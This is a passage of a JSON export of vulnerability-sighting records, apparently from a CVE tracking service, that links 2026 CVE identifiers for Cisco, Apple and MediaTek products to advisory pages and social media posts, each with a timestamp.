{"uuid": "8bea89f1-0d8d-47fb-ab94-dc0d4a03d6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20690", "type": "seen", "source": "https://support.apple.com/en-us/126794", "content": "", "creation_timestamp": "2026-03-26T03:00:11.000000Z"}, {"uuid": "caa47dfd-e03e-494c-99d5-315c694477ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20086", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-21", "content": "", "creation_timestamp": "2026-03-26T15:12:31.000000Z"}, {"uuid": "41e5bbf9-a752-4209-94c6-0fcd3645855f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "2412f8e8-f29f-4c99-8dfe-18840b4fa7cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20125", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-21", "content": "", "creation_timestamp": "2026-03-26T15:12:31.000000Z"}, {"uuid": "581065aa-871b-46b6-adf9-fa91db2706ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/kriittisia-haavoittuvuuksia-cisco-catalyst-sd-wan-tuotteissa", "content": "", "creation_timestamp": "2026-02-25T18:43:06.000000Z"}, {"uuid": "7320f88e-3a25-4a22-8410-3b78c3a1448d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/softfantw.eurosky.social/post/3mhdxp7nztk27", "content": "", "creation_timestamp": "2026-03-18T17:02:24.094075Z"}, {"uuid": "4f474506-9bf9-4338-9d28-fd2eb1d40b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2096", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhson7aa722d", "content": "", "creation_timestamp": "2026-03-24T13:30:10.472155Z"}, {"uuid": "85e19f0a-2d68-4f72-9059-e7e3aa1cf2a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20004", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-21", "content": "", "creation_timestamp": "2026-03-26T15:12:31.000000Z"}, {"uuid": "3140ed89-6205-462d-ba8d-ee7d3b7740b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/kriittisia-haavoittuvuuksia-cisco-catalyst-sd-wan-tuotteissa", "content": "", "creation_timestamp": "2026-02-25T18:43:06.000000Z"}, {"uuid": "824bf162-712c-4754-845a-9ab34ea7f5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhsoqfruvc2d", "content": "", "creation_timestamp": "2026-03-24T13:31:58.688974Z"}, {"uuid": "c49e5b20-670f-4e8f-9979-80a297feef9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20699", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "f0b673da-8d9c-4ed1-91f8-266638e34c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-21", "content": "", "creation_timestamp": "2026-03-26T15:12:31.000000Z"}, {"uuid": "0c111e4e-c710-47a6-9370-f3339ed439bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/kriittisia-haavoittuvuuksia-cisco-catalyst-sd-wan-tuotteissa", "content": "", "creation_timestamp": "2026-02-25T18:43:06.000000Z"}, {"uuid": "901784f7-c4f3-4338-85c9-2aa1de675e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhv3wyqpvi26", "content": "", "creation_timestamp": "2026-03-25T12:33:35.134502Z"}, {"uuid": "8a19ecf1-5d12-47a5-9112-cc427e65b2fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/kriittisia-haavoittuvuuksia-cisco-catalyst-sd-wan-tuotteissa", "content": "", "creation_timestamp": "2026-02-25T18:43:06.000000Z"}, {"uuid": "bf0e0cf7-3a0a-4184-a7a8-e8b136ddfe0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mhdy2vhzwy22", "content": "", "creation_timestamp": "2026-03-18T17:08:55.875484Z"}, {"uuid": "c5df6229-08e4-4653-92b4-3107b493a5b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/kriittisia-haavoittuvuuksia-cisco-catalyst-sd-wan-tuotteissa", "content": "", "creation_timestamp": "2026-02-25T18:43:06.000000Z"}, {"uuid": "cc055ce8-e196-4a0c-bb6b-3913da81a243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhv6i3kul22w", "content": "", "creation_timestamp": "2026-03-25T13:19:02.850504Z"}, {"uuid": "9d703255-c9c9-467f-ab28-c35e31834e60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-166", "content": "", "creation_timestamp": "2026-02-25T20:03:01.000000Z"}, {"uuid": "3a508059-dfb1-4340-b13c-06d03eabce76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/LLMs.activitypub.awakari.com.ap.brid.gy/post/3mhv6m737fad2", "content": "", "creation_timestamp": "2026-03-25T13:21:16.276638Z"}, {"uuid": "b8588ab3-cff3-4061-bc84-1c269cdfece9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20759", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mck2mvez7s2q", "content": "", "creation_timestamp": "2026-01-16T12:04:46.532450Z"}, {"uuid": "ab3de161-68fe-4e80-85aa-6a3031b62832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20894", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mck2xngox22x", "content": "", "creation_timestamp": "2026-01-16T12:10:47.477093Z"}, {"uuid": "37945d09-bef9-4393-9c47-a13c50bcbef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20759", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mckb5sy2ox27", "content": "", "creation_timestamp": "2026-01-16T14:01:37.453558Z"}, {"uuid": "f840e793-e851-4229-b883-31d505b13438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mckfgikb3x2q", "content": "", "creation_timestamp": "2026-01-16T15:18:03.354100Z"}, {"uuid": "ea968f38-3cec-4802-8c34-2215eefeb318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcklmu4lms2f", "content": "", "creation_timestamp": "2026-01-16T17:09:06.231380Z"}, {"uuid": "4b5d7116-b1e0-4c90-82f7-b4a51c34a145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mckosvdzea2j", "content": "", "creation_timestamp": "2026-01-16T18:06:04.323295Z"}, {"uuid": "4e8add8e-15e3-46eb-894f-eb82abd37842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2094", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcl5utwh2k2f", "content": "", "creation_timestamp": "2026-01-16T22:35:39.283723Z"}, {"uuid": "6d9d6c9e-4592-4e84-a924-f5befc7fb4f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20960", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115907168270220918", "content": "", "creation_timestamp": "2026-01-16T22:37:11.891517Z"}, {"uuid": "e412cde2-7239-4abe-aa9e-5c4b732ee065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20960", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcl7copa4227", "content": "", "creation_timestamp": "2026-01-16T23:01:13.068706Z"}, {"uuid": "444ee176-7af6-40aa-8f25-8f67d4652d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20960", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mclhgr3axy25", "content": "", "creation_timestamp": "2026-01-17T01:26:39.308003Z"}, {"uuid": "0b0b9a47-ff62-4216-986b-be07960656d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mclx2zwxcz2j", "content": "", "creation_timestamp": "2026-01-17T06:06:26.233379Z"}, {"uuid": "570429fa-77bc-43ff-a62c-116e117408cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-166", "content": "", "creation_timestamp": "2026-02-25T20:03:01.000000Z"}, {"uuid": "0fe1144c-76a6-4507-8bc5-e11398a32a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20637", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "c4424bfd-c859-4e36-9165-4768ef11fb5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1776", "content": "", "creation_timestamp": "2026-02-26T04:00:00.000000Z"}, {"uuid": "eb7d9ef8-ae55-4848-b063-cc3412ed651c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mhe2loq7lu2f", "content": "", "creation_timestamp": "2026-03-18T17:54:06.678946Z"}, {"uuid": "af6bc6b8-39fb-42a9-9d12-e1926f6db5d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20639", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "0b12fdc3-d89b-4487-81c0-3d4de37e2f4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mhe34y5s3t2m", "content": "", "creation_timestamp": "2026-03-18T18:03:46.231740Z"}, {"uuid": "6bcc27f2-5700-4aba-bc12-3ea7b57e9894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhvapnuwsc2w", "content": "", "creation_timestamp": "2026-03-25T13:58:59.466373Z"}, {"uuid": "c69e2271-f303-4b9b-be3c-d517409c8259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mhimp5sdvk2c", "content": "", "creation_timestamp": "2026-03-20T13:28:51.873699Z"}, {"uuid": "3e85e4e2-99ca-4e56-9540-3edbf06a7ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/radar.bsky.social/post/3mhe4ndc2bs2y", "content": "", "creation_timestamp": "2026-03-18T18:30:49.215147Z"}, {"uuid": "71f68fb3-a62a-4ad2-a965-db5fc12d2455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20633", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "398e513b-5689-4fd9-956e-d4f8b90e6cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20694", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "3fd13e7f-3ed3-402e-92e4-530d64f57ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "870d9321-204b-43aa-9168-e5c4873327a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhvbg3z4z22w", "content": "", "creation_timestamp": "2026-03-25T14:11:35.984021Z"}, {"uuid": "50fd6c2e-aaf0-49a4-ac79-417539141f0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhsr64a63m2b", "content": "", "creation_timestamp": "2026-03-24T14:15:22.475567Z"}, {"uuid": "d2b3ce45-68d4-4d11-b4e3-e8b9eb4ee4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mcmitv6j2qd2", "content": "", "creation_timestamp": "2026-01-17T11:24:51.345058Z"}, {"uuid": "1c76243e-be73-4d9a-9298-3d7eaac5ba6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mcmwe6w4ej2r", "content": "", "creation_timestamp": "2026-01-17T15:26:19.352375Z"}, {"uuid": "98d0f177-aa5f-4c0a-9c0f-7eff7b23f7e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/warthogtk.bsky.social/post/3mcnh3hz5mc2f", "content": "", "creation_timestamp": "2026-01-17T20:25:40.725729Z"}, {"uuid": "b3846715-f6e4-4472-b6c6-513b6b832b40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mco3cxwc7i2n", "content": "", "creation_timestamp": "2026-01-18T02:27:46.984679Z"}, {"uuid": "2859f7db-2e7d-4004-a973-c7a55b7e815d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20893", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mcofudmm522k", "content": "", "creation_timestamp": "2026-01-18T05:36:28.033854Z"}, {"uuid": "6e09ae70-a774-4d59-94fa-3957f2bb7500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mcolhcdjec2k", "content": "", "creation_timestamp": "2026-01-18T07:16:33.428799Z"}, {"uuid": "36626725-f4da-47bd-b450-07289e9e045a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mcolppqv5k2k", "content": "", "creation_timestamp": "2026-01-18T07:21:17.199200Z"}, {"uuid": "abf407c5-266a-4395-a3cb-e44fc46435ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mcomkgc2322k", "content": "", "creation_timestamp": "2026-01-18T07:36:13.187379Z"}, {"uuid": "d5851f17-4649-4ea2-9623-51d690deb247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mcopcv2vyx2o", "content": "", "creation_timestamp": "2026-01-18T08:25:38.446835Z"}, {"uuid": "42debd64-e4f5-470d-ba58-36e6f6cbdacc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mcot4r7jws2k", "content": "", "creation_timestamp": "2026-01-18T09:33:52.599235Z"}, {"uuid": "61576025-53a5-4d78-bba3-e0fb997da6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhg2nfgcbg23", "content": "", "creation_timestamp": "2026-03-19T13:00:22.941130Z"}, {"uuid": "2136b32b-a5d5-48c5-9da0-df8d32051f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2043", "type": "seen", "source": "https://bsky.app/profile/buchikuma.bsky.social/post/3mgudivyd5422", "content": "", "creation_timestamp": "2026-03-12T11:51:00.882980Z"}, {"uuid": "fabf2e6c-b340-4533-9336-0c7538496f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/stephen-butler.technodon.org.ap.brid.gy/post/3mhg4iqssibi2", "content": "", "creation_timestamp": "2026-03-19T13:33:37.222698Z"}, {"uuid": "839471f9-4dfe-43b6-aaa4-60fc043d3281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0313/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "ce29af58-1a79-41e1-be09-4bb156ac5c35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20695", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "eec57f20-1f70-459b-a608-b10ab2f92aeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/timb-machine.infosec.exchange.ap.brid.gy/post/3mhg4nutgma22", "content": "", "creation_timestamp": "2026-03-19T13:36:32.053217Z"}, {"uuid": "4ef1889d-e986-45a0-9b8d-c38986834fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "a80c4b8f-1b00-452d-836c-355eb2f88ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20426", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "798d280c-ae56-4a75-834c-7c67aa2bb550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20607", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "c98b4ac1-abb2-4d06-a6ae-35cd825e09fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20428", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "49df47ad-f199-4c62-aaa4-b19be9009f96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3mhg5d5qmva2l", "content": "", "creation_timestamp": "2026-03-19T13:48:20.669324Z"}, {"uuid": "1cd3e301-357b-40fd-b787-78a8e63d3646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhgvmdgax22j", "content": "", "creation_timestamp": "2026-03-19T21:03:00.275850Z"}, {"uuid": "079b6c39-64d6-40b5-86fd-0d0749dca7c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20692", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "072f3aae-9743-42ad-bce2-1c3190788f54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20427", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "1c067015-5723-466f-8539-d68704a77f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhgvmdirrg2h", "content": "", "creation_timestamp": "2026-03-19T21:03:00.811027Z"}, {"uuid": "df6d299f-24f5-4512-b5a3-4ed5fc81371b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://chaos.social/users/christopherkunz/statuses/116261833648466136", "content": "", "creation_timestamp": "2026-03-20T13:53:16.872500Z"}, {"uuid": "1fbdc4eb-f535-4442-ab75-7eaf9e839239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20651", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "bd746878-d406-4a63-8279-8de16dc1d254", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20434", "type": 